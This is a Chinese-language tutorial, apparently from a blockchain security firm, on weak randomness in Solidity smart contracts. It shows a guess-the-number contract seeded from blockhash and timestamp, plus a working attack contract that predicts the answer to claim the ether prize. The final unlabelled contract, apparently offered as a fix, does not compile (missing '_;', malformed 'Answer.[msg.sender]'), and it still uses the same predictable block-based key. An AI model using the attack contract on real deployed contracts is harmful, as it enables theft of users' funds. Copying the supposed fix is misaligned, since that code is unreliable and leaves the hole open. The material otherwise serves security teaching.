智能合约安全审计入门篇 —— 随机数

By：小白@慢雾安全团队

背景概述

在上次的文章中我们了解了 delegatecall 函数的特点以及其正确的使用方式。本期我们将带大家了解智能合约中一个经常被用到的东西——随机数。

前置知识

智能合约的开发中常常会用到随机数，例如 Lottery 和现在流行的 NFT 数字藏品的属性等都需要用到随机数。目前来说常见的随机数获取有两种：使用区块变量生成随机数，使用预言机来生成随机数。下面我们了解一下这两者的特点：

• 使用区块变量生成随机数

我们先了解一下常见的区块变量有哪些：

block.basefee(uint)：当前区块的基本费用

block.chainid(uint)：当前链 id

block.coinbase()：当前区块矿工地址 address payable

block.difficulty(uint)：当前区块难度

block.gaslimit(uint)：当前区块 gaslimit

block.number(uint)：当前区块号

block.timestamp(uint)：自 Unix 纪元以来的当前区块时间戳（以秒为单位）

blockhash(uint blockNumber) returns (bytes32)：给定区块的哈希，仅适用于 256 个最近的区块

其中 block.difficulty, blockhash, block.number 和 block.timestamp 这四个是用得比较多的。由区块数据生成的随机数可能会限制普通用户预测随机数的可能性，但是并不能限制矿工作恶，矿工可以决定一个区块是否被广播，他们挖出了一个区块不是一定要广播出去也可以直接扔掉，这个就叫矿工的选择性打包。他们可以持续尝试生成随机数，直至得到想要的结果再广播出去。当然，矿工会这样做的前提是有足够的的利益诱惑，例如可以获得一个很大的奖励池中的奖励，因此使用区块变量获取随机数的方法更适合于一些随机数不属于核心业务的应用。

• 使用预言机生成随机数

预言机是专门为生成随机数种子而搭建的链上或者链下的服务。除了使用第三方服务，也可以由 DApp 开发商自己搭建一个链下服务提供随机数，这种在链上获取链下数据的场景通常是通过链上预言机的方式来实现。

当然这种方法也会有一些安全风险，例如依赖第三方给出的随机数种子的话同样会存在第三方作弊或者受贿的情形，即使是自己搭建的随机数服务也可能因为故障等原因无法使用，项目方也有可能操控随机数对 DApp 的运行和用户造成重大的损失。因此使用链下服务获取随机数的方法依赖于是否有一个可信又稳定的第三方服务，如果有，那么这个方法相较于使用区块链变量生成随机数的方法，随机数的不可预测性会更强一些。

说到这里大家可能会有一些疑问，这些随机数生成方式或多或少都存在一定风险，那么就没有一个既稳定又安全的随机数获取方式吗？答案是有，有很多去中心化的预言机服务，以 Chainlink 为例，这类去中心化的预言机服务提供的随机数相对更加稳定和安全。Chainlink VRF 提供了一个链上去中心化的随机数种子获取方案。只要付出 Link 币就可以从 Chainlink 上获取随机数种子了，至于他们的各种优点和使用方式这里就不过多介绍了。

接下来我们还是用合约代码来给大家演示弱随机数可能带来的危害。

漏洞示例

pragma solidity ^0.8.13;contract GuessTheRandomNumber {    constructor() payable {}
    function guess(uint _guess) public {        uint answer = uint(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        );
        if (_guess == answer) {            (bool sent, ) = msg.sender.call{value: 1 ether}("");            require(sent, "Failed to send Ether");        }    }}

漏洞分析

首先我们先来了解一下代码中的两个函数，abi.encodePacked 和 keccak256：

• abi.encodePacked 对参数进行编码，solidity 提供两种编码方法 encode 和  encodePacked，前者对每一个参数进行 32 字节补齐，后者不进行补齐而是直接将待编码参数连接起来。

• keccak256 哈希算法，可以将任意长度的输入压缩成 64 位的 16 进制的数，且哈希碰撞的概率近乎为 0。

接下来我们来看合约代码，这个合约是一个猜数字赢以太的游戏，我们可以看到，部署者使用上个区块的区块哈希和区块时间作为随机数种子生成随机数，我们只需要模拟他的随机数生成方法就可以得到奖励。下面我们来看攻击合约：

攻击合约

pragma solidity ^0.8.13;contract Attack {    receive() external payable {}
    function attack(GuessTheRandomNumber guessTheRandomNumber) public {        uint answer = uint(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        );
        guessTheRandomNumber.guess(answer);    }
    function getBalance() public view returns (uint) {        return address(this).balance;    }}

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract GuessTheRandomNumber {    constructor() payable {}    uint256 public deadline = block.timestamp + 72 hours;    mapping ( address => uint256 ) public Answer;
    modifier isTime(){        require(block.timestamp > deadline , "Not the time!");    }
    event Guess(address,uint256);    event Claim(address);
    function guess(uint256 _guess) public {        require(block.timestamp <= deadline , "Too late!");        Answer.[msg.sender] = _guess;        emit Guess(msg.sender,_guess);    }
    function claim() public isTime{        uint256 key = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));        uint256 answer = Answer.[msg.sender];        require(key == answer , "Sorry,may be next time.");        (bool sent, ) = msg.sender.call{value: 1 ether}("");        require(sent, "Failed to send Ether");        emit Claim(msg.sender);    }}

原文始发于微信公众号（慢雾科技）：智能合约安全审计入门篇 —— 随机数